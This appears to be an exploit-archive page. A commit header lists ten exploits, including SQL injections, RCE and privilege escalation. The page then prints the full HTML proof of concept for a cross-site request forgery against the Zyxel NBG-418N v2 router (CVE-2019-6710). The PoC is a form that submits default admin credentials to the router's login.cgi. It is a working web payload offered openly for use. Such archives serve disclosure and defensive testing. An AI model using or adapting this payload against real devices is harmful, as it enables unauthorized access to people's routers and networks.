6e7548ed0d
10 changes to exploits/shellcodes Microsoft Remote Desktop 10.2.4(134) - Denial of Service (PoC) AddressSanitizer (ASan) - SUID Executable Privilege Escalation (Metasploit) Ghostscript 9.26 - Pseudo-Operator Remote Code Execution Joomla! Component J-CruisePortal 6.0.4 - SQL Injection Joomla! Component JHotelReservation 6.0.7 - SQL Injection SimplePress CMS 1.0.7 - SQL Injection SirsiDynix e-Library 3.5.x - Cross-Site Scripting Splunk Enterprise 7.2.3 - Authenticated Custom App RCE ImpressCMS 1.3.11 - 'bid' SQL Injection Zyxel NBG-418N v2 Modem 1.00(AAXM.6)C0 - Cross-Site Request Forgery
22 lines
No EOL
692 B
HTML
22 lines
No EOL
692 B
HTML
<!--
|
|
# Exploit Title: Zyxel NBG-418N v2 Modem CSRF Exploit & PoC
|
|
# Version: Zyxel NBG-418N v2 - V1.00(AAXM.6)C0
|
|
# Tested on: Windows 10 x64
|
|
# CVE : CVE-2019-6710
|
|
# Author : Ali Can Gönüllü
|
|
# Twitter : @god3err
|
|
|
|
Exploits :
|
|
-->
|
|
|
|
<html><head>
|
|
<title>NBG-418N v2 Modem CSRF Exploit & PoC</title>
|
|
</head><body>
|
|
<form action="http://10.0.0.1/login.cgi" method="POST">
|
|
<input type="text" name="username" id="username" value="admin" /><br />
|
|
<input type="text" name="password" id="password" value="1234" /><br />
|
|
<input id="loginBtn" onclick="return onlogin()" type='submit'
|
|
value='Go!' />
|
|
<input type="hidden" name="submit.htm?login.htm" value="Send">
|
|
</form>
|
|
</body></html> |